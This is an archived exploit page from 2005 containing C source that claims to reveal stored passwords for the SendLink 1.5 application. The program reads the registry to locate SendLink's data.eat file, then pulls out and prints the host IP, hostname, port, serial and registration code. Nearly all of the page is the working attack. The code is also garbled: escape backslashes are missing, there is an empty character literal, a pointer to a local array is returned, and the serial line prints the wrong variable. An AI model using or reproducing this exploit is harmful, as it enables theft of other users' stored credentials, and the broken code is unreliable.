[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SendLink 1.5 Local Password Disclosure Exploit
# Published : 2005-02-22
# Author : Kozan
# Previous Title : Chat Anywhere 2.72a Local Password Disclosure Exploit
# Next Title : eXeem 0.21 Local Password Disclosure Exploit


/*****************************************************************

SendLink v1.5 Local Exploit by Kozan

Application: SendLink v1.5
Vendor:Computer Knacks
http://www.computerknacks.com/

Vulnerable Description: SendLink v1.5 discloses passwords to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com

*****************************************************************/

#include <windows.h>
#include <stdio.h>
#include <string.h>

#define BUFSIZE 100
HKEY hKey;
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

char *hostip, *hostname, *serial, *options, *regcode, *hostport;

int adresal(char *FilePath,char *Str)
{
      char kr;
      int Sayac=0;
      int Offset=-1;
      FILE *di;
      di=fopen(FilePath,"rb");

      if( di == NULL )
      {
              fclose(di);
              return -1;
      }

      while(!feof(di))
      {
              Sayac++;
              for(int i=0;i<strlen(Str);i++)
              {
                      kr=getc(di);
                      if(kr != Str[i])
                      {
                              if( i>0 )
                              {
                                      fseek(di,Sayac+1,SEEK_SET);
                              }
                              break;
                      }
                      if( i > ( strlen(Str)-2 ) )
                      {
                              Offset = ftell(di)-strlen(Str);
                              fclose(di);
                              return Offset;
                      }
              }
      }
      fclose(di);
      return -1;
}

char *oku(char *FilePath,char *Str)
{

      FILE *di;
      char cr;
          char BB = 0xBB;
      int i=0;
      char Feature[500];

      int Offset = adresal(FilePath,Str);

      if( Offset == -1 )
              return "";

      if( (di=fopen(FilePath,"rb")) == NULL )
              return "";

      fseek(di,Offset+strlen(Str),SEEK_SET);

      while(!feof(di))
      {
              cr=getc(di);
              if(cr == BB)
                          break;

              Feature[i] = cr;
              i++;
      }

      Feature[i] = '';
      fclose(di);
      return Feature;
}

int main(void)
{
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                  "SOFTWARE\Microsoft\Windows\CurrentVersion",
                  0,
                  KEY_QUERY_VALUE,
                  &hKey) == ERROR_SUCCESS)
       {

               lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
                                                               (LPBYTE)
prgfiles, &dwBufLen);

               if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
               {
                       RegCloseKey(hKey);
           printf("An error occured!n");
                       return 0;
               }

      RegCloseKey(hKey);

       }
       else
   {
               RegCloseKey(hKey);
       printf("An error occured!n");
               return 0;
       }

       strcat(prgfiles,"\SendLink\User\data.eat");

       printf("SendLink v1.5 Local Exploit by Kozann");
       printf("Credits to ATmaCAn");
       printf("www.netmagister.com  -  www.spyinstructors.com nn");

       try
       {
               char hostip_temp[BUFSIZE];
               wsprintf(hostip_temp,"hostip%c=%c",0xBB,0xAB);
               hostip=oku(prgfiles,hostip_temp);
               printf("Host IP: %sn",hostip);

               char hostname_temp[BUFSIZE];
               wsprintf(hostname_temp,"hostname%c=%c",0xBB,0xAB);
               hostname=oku(prgfiles,hostname_temp);
               printf("Hostname                        : %sn",hostname);

               char hostport_temp[BUFSIZE];
               wsprintf(hostport_temp,"hostport%c=%c",0xBB,0xAB);
               hostport=oku(prgfiles,hostport_temp);
               printf("Host Port                        : %sn",hostport);

               char options_temp[BUFSIZE];
               wsprintf(options_temp,"options%c=%c",0xBB,0xAB);
               options=oku(prgfiles,options_temp);
               printf("Options                                : %sn",options);

               char serial_temp[BUFSIZE];
               wsprintf(serial_temp,"serial%c=%c",0xBB,0xAB);
               serial=oku(prgfiles,serial_temp);
               printf("Serial                                : %sn",hostip);

               char regcode_temp[BUFSIZE];
               wsprintf(regcode_temp,"regcode%c=%c",0xBB,0xAB);
               regcode=oku(prgfiles,regcode_temp);
               printf("Registration Code        : %sn",regcode);

       }catch(...){ printf("An error occured!n"); return 0; }

       return 0;

}

// www.Syue.com [2005-02-22]